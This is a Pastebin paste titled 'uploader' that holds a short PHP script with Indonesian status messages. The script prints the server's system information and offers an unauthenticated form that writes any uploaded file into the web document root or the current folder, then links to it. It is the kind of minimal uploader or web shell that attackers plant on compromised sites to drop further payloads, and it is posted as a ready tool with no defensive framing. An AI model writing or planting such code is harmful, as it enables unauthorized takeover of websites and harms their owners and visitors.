rootasuna

uploader

Mar 3rd, 2018
351
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.79 KB | None | 0 0
  1. <?php
  2. echo "<b>".php_uname()."</b><br>";
  3. echo "<form method='post' enctype='multipart/form-data'>
  4. <input type='file' name='just_file'>
  5. <input type='submit' name='upload' value='hajar goblok!!!'>
  6. </form>";
  7. $root = $_SERVER['DOCUMENT_ROOT'];
  8. $files = $_FILES['just_file']['name'];
  9. $dest = $root.'/'.$files;
  10. if(isset($_POST['upload'])) {
  11. if(is_writable($root)) {
  12. if(@copy($_FILES['just_file']['tmp_name'], $dest)) {
  13. $web = "http://".$_SERVER['HTTP_HOST']."/";
  14. echo "sukses upload -> <a href='$web$files' target='_blank'><b><u>$web/$files</u></b></a>";
  15. } else {
  16. echo "gagal upload di document root.";
  17. }
  18. } else {
  19. if(@copy($_FILES['just_file']['tmp_name'], $files)) {
  20. echo " upload <b>$files</b> di folder ini";
  21. } else {
  22. echo "gagal upload";
  23. }
  24. }
  25. }
  26. ?>
Advertisement
Add Comment
Please, Sign In to add comment